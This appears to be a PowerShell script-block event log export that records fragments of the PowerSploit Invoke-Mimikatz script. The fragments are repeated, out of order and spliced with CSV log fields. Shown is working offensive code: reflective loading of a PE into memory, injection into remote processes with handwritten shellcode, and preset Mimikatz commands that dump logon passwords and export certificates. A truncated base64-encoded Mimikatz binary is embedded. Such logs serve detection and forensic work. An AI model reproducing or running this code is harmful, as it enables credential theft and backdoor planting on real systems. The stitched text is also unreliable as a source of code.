= Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero #If a remote process to inject in to is specified, get a handle to it if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne """")) { Throw ""Can't supply a ProcId and ProcName, choose one or the other"" } elseif ($ProcName -ne $null -and $ProcName -ne """") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw ""Can't find process $ProcName"" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw ""More than one instance of $ProcName found, please specify the process ID to inject in to."" } else { $ProcId = $Processes[0].ID } } #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # { # Write-Verbose ""Getting SeDebugPrivilege"" # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw ""Couldn't obtain the handle for process ID: $ProcId"" } Write-Verbose ""Got the handle for the remote process to inject in to"" } #Load the PE reflectively Write-Verbose ""Calling Invoke-MemoryLoadLibrary"" try { $Processors = Get-WmiObject -Class Win32_Processor } catch { throw ($_.Exception) } if ($Processors -is [array]) { $Processor = $Processors[0] } else { $Processor = $Processors } if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) { Write-Verbose ( ""Architecture: "" + $Processor.AddressWidth + "" Process: "" + ([System.IntPtr]::Size * 8)) Write-Error ""PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS."" -ErrorAction Stop } #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) } else { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) } $PEBytes[0] = 0 $PEBytes[1] = 0 $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw ""Unable to load PE, handle returned is NULL"" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { ######################################### ### YOUR CODE GOES HERE ######################################### Write-Verbose ""Calling function with WString return type"" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""powershell_reflective_mimikatz"" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw ""Couldn't find function address."" } $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) if ($OutputPtr -eq [IntPtr]::Zero) { Throw ""Unable to get output, Output Ptr is NULL"" } else { $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output $Win32Functions.LocalFree.Invoke($OutputPtr); } ######################################### ### END OF YOUR CODE ######################################### } #For remote DLL injection, call a void function which takes no parameters elseif (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""VoidFunc"" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { Throw ""VoidFunc couldn't be found in the DLL"" } $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } #Don't free a library if it is injected in a remote process if ($RemoteProcHandle -eq [IntPtr]::Zero) { Invoke-MemoryFreeLibrary -PEHandle $PEHandle } else { #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue } } Write-Verbose ""Done!"" } Main } #Main function to either run the script locally or remotely Function Main { if (($PSCmdlet.MyInvocation.BoundParameters[""Debug""] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[""Debug""].IsPresent) { $DebugPreference = ""Continue"" } Write-Verbose ""PowerShell ProcessID: $PID"" if ($PsCmdlet.ParameterSetName -ieq ""DumpCreds"") { $ExeArgs = ""sekurlsa::logonpasswords exit"" } elseif ($PsCmdlet.ParameterSetName -ieq ""DumpCerts"") { $ExeArgs = ""crypto::cng crypto::capi `""crypto::certificates /export`"" `""crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`"" exit"" } else { $ExeArgs = $Command } [System.IO.Directory]::SetCurrentDirectory($pwd) # 2.1 (x64) 20161029 OJ Edition! # SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158 # VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/ $PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAPAjDABgAAAAUCQMAJABAAAAMA0AiAIAAADQDAAwTgAAAAAAAAAAAAAAQA0AWBIAAFDsCwAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOwLAJQAAAAAAAAAAAAAAACQCAC4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwdggAABAAAAB4CAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAIsEDAACQCAAAwgMAAHwIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJxmAAAAYAwAAEwAAAA+DAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAwTgAAANAMAABQAAAAigwAAAAAAAAAAAAAAAAAQAAAQC5nZmlkcwAAmAAAAAAgDQAAAgAAANoMAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAIgCAAAAMA0AAAQAAADcDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAABYEgAAAEANAAAUAAAA4AwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBYG2DADDTIlEJBhMiUwkIFNVVldIg+w4SYvwSI1sJHhIi9pIi/no0////0iJbCQoTIvOSINkJCAATIvDSIvXSIsI6Ee1BgCDyf+FwA9IwUiDxDhfXl1bw8zMQFNIg+xwSIvCSIvZSIvISI1UJFD/FTKHCACFwHR3D7dUJFpIjUwkYEQPt0QkWA+3RCRcRA+3VCRWRA+3XCRSRA+3TCRQiUQkQIlUJDi6EAAAAESJRCQwTI0F9gsJAESJVCQoRIlcJCDoP////4XAfiRMjUwkYEjHRCQgDwAAAEG4GAAAAEiNFegLCQBIi8v/FQeKCABIg8RwW8PMQFNIg+xASIvZQbABSI1MJDD/FTmLCACFwHgvD7dEJDBIjRWxCwkATItMJDhBuBsAAABIi8uJRCQg/xXBiQgASI1MJDD/Ff6KCABIg8RAW8NIi8REiUggRIlAGEiJUBBIiUgIVVNWV0FUQVVBVkFXSI1ooUiB7IgAAAAz20iNTedEi+tIiR0esAwASI09F7AMAP8VyYEIAESNSxJFM8Az0kiNTef/FQaICABMi/BIg/j/D4QLAwAAi/OJXX9IjUX3x0X3IAAAAESLzkiJRCQgTI1F5zPSSYvO/xXafb55df30-b22e-428c-9941-1d18b4570d38C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-Mimikatz.ps1",,4104,122255,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,7,120,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-Mimikatz.ps1",,,"'5388'",,,,,,122255,,,,"fb55df30-b22e-428c-9941-1d18b4570d38","ible -eq $true) { Write-Verbose ""Update memory protection flags"" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose ""PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"" } } else { Write-Verbose ""PE being loaded in to a remote process, not adjusting memory permissions"" } #If remote loading, copy the DLL in to remote process memory if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw ""Unable to write shellcode to remote process memory."" } } #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function if ($PEInfo.FileType -ieq ""DLL"") { if ($RemoteLoading -eq $false) { Write-Verbose ""Calling dllmain so the DLL knows it has been loaded"" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { #Shellcode: CallDllMain.asm $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw ""Unable to allocate memory in the remote process for shellcode"" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw ""Unable to write shellcode to remote process memory."" } $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw ""Call to CreateRemoteThread to call GetProcAddress failed."" } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq ""EXE"") { #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose ""Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in."" $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose ""EXE thread has completed."" break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } Function Invoke-MemoryFreeLibrary { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $PEHandle ) #Get Win32 constants and functions $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants #Call FreeLibrary for all the imports of the DLL if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) #If the structure is null, it signals that this is the end of the array if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose ""Done unloading the libraries needed by the PE"" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { Write-Warning ""Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways"" -WarningAction Continue } $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) if ($Success -eq $false) { Write-Warning ""Unable to free library: $ImportDllPath. Continuing anyways."" -WarningAction Continue } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } #Call DllMain with process detach Write-Verbose ""Calling dllmain so the DLL knows it is being unloaded"" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue } } Function Main { $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero #If a remote process to inject in to is specified, get a handle to it if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne """")) { Throw ""Can't supply a ProcId and ProcName, choose one or the other"" } elseif ($ProcName -ne $null -and $ProcName -ne """") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw ""Can't find process $ProcName"" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw ""More than one instance of $ProcName found, please specify the process ID to inject in to."" } else { $ProcId = $Processes[0].ID } } #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) # { # Write-Verbose ""Getting SeDebugPrivilege"" # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants # } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw ""Couldn't obtain the handle for process ID: $ProcId"" } Write-Verbose ""Got the handle for the remote process to inject in to"" } #Load the PE reflectively Write-Verbose ""Calling Invoke-MemoryLoadLibrary"" try { $Processors = Get-WmiObject -Class Win32_Processor } catch { throw ($_.Exception) } if ($Processors -is [array]) { $Processor = $Processors[0] } else { $Processor = $Processors } if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) { Write-Verbose ( ""Architecture: "" + $Processor.AddressWidth + "" Process: "" + ([System.IntPtr]::Size * 8)) Write-Error ""PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS."" -ErrorAction Stop } #Determine whether or not to use 32bit or 64bit bytes if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) } else { [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) } $PEBytes[0] = 0 $PEBytes[1] = 0 $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw ""Unable to load PE, handle returned is NULL"" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { ######################################### ### YOUR CODE GOES HERE ######################################### Write-Verbose ""Calling function with WString return type"" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""powershell_reflective_mimikatz"" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw ""Couldn't find function address."" } $WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) $WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs) [IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput) if ($OutputPtr -eq [IntPtr]::Zero) { Throw ""Unable to get output, Output Ptr is NULL"" } else { $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output $Win32Functions.LocalFree.Invoke($OutputPtr); } ######################################### ### END OF YOUR CODE ######################################### } #For remote DLL injection, call a void function which takes no parameters elseif (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""VoidFunc"" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { Throw ""VoidFunc couldn't be found in the DLL"" } $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } #Don't free a library if it is injected in a remote process if ($RemoteProcHandle -eq [IntPtr]::Zero) { Invoke-MemoryFreeLibrary -PEHandle $PEHandle } else { #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue } } Write-Verbose ""Done!"" } Main } #Main function to either run the script locally or remotely Function Main { if (($PSCmdlet.MyInvocation.BoundParameters[""Debug""] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[""Debug""].IsPresent) { $DebugPreference = ""Continue"" } Write-Verbose ""PowerShell ProcessID: $PID"" if ($PsCmdlet.ParameterSetName -ieq ""DumpCreds"") { $ExeArgs = ""sekurlsa::logonpasswords exit"" } elseif ($PsCmdlet.ParameterSetName -ieq ""DumpCerts"") { $ExeArgs = ""crypto::cng crypto::capi `""crypto::certificates /export`"" `""crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`"" exit"" } else { $ExeArgs = $Command } [System.IO.Directory]::SetCurrentDirectory($pwd) # 2.1 (x64) 20161029 OJ Edition! # SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158 # VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/ $PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAPAjDABgAAAAUCQMAJABAAAAMA0AiAIAAADQDAAwTgAAAAAAAAAAAAAAQA0AWBIAAFDsCwAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOwLAJQAAAAAAAAAAAAAAACQCAC4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwdggAABAAAAB4CAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAIsEDAACQCAAAwgMAAHwIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJxmAAAAYAwAAEwAAAA+DAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAwTgAAANAMAABQAAAAigwAAAAAAAAAAAAAAAAAQAAAQC5nZmlkcwAAmAAAAAAgDQAAAgAAANoMAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAIgCAAAAMA0AAAQAAADcDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAABYEgAAAEANAAAUAAAA4AwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBYG2DADDTIlEJBhMiUwkIFNVVldIg+w4SYvwSI1sJHhIi9pIi/no0////0iJbCQoTIvOSINkJCAATIvDSIvXSIsI6Ee1BgCDyf+FwA9IwUiDxDhfXl1bw8zMQFNIg+xwSIvCSIvZSIvISI1UJFD/FTKHCACFwHR3D7dUJFpIjUwkYEQPt0QkWA+3RCRcRA+3VCRWRA+3XCRSRA+3TCRQiUQkQIlUJDi6EAAAAESJRCQwTI0F9gsJAESJVCQoRIlcJCDoP////4XAfiRMjUwkYEjHRCQgDwAAAEG4GAAAAEiNFegLCQBI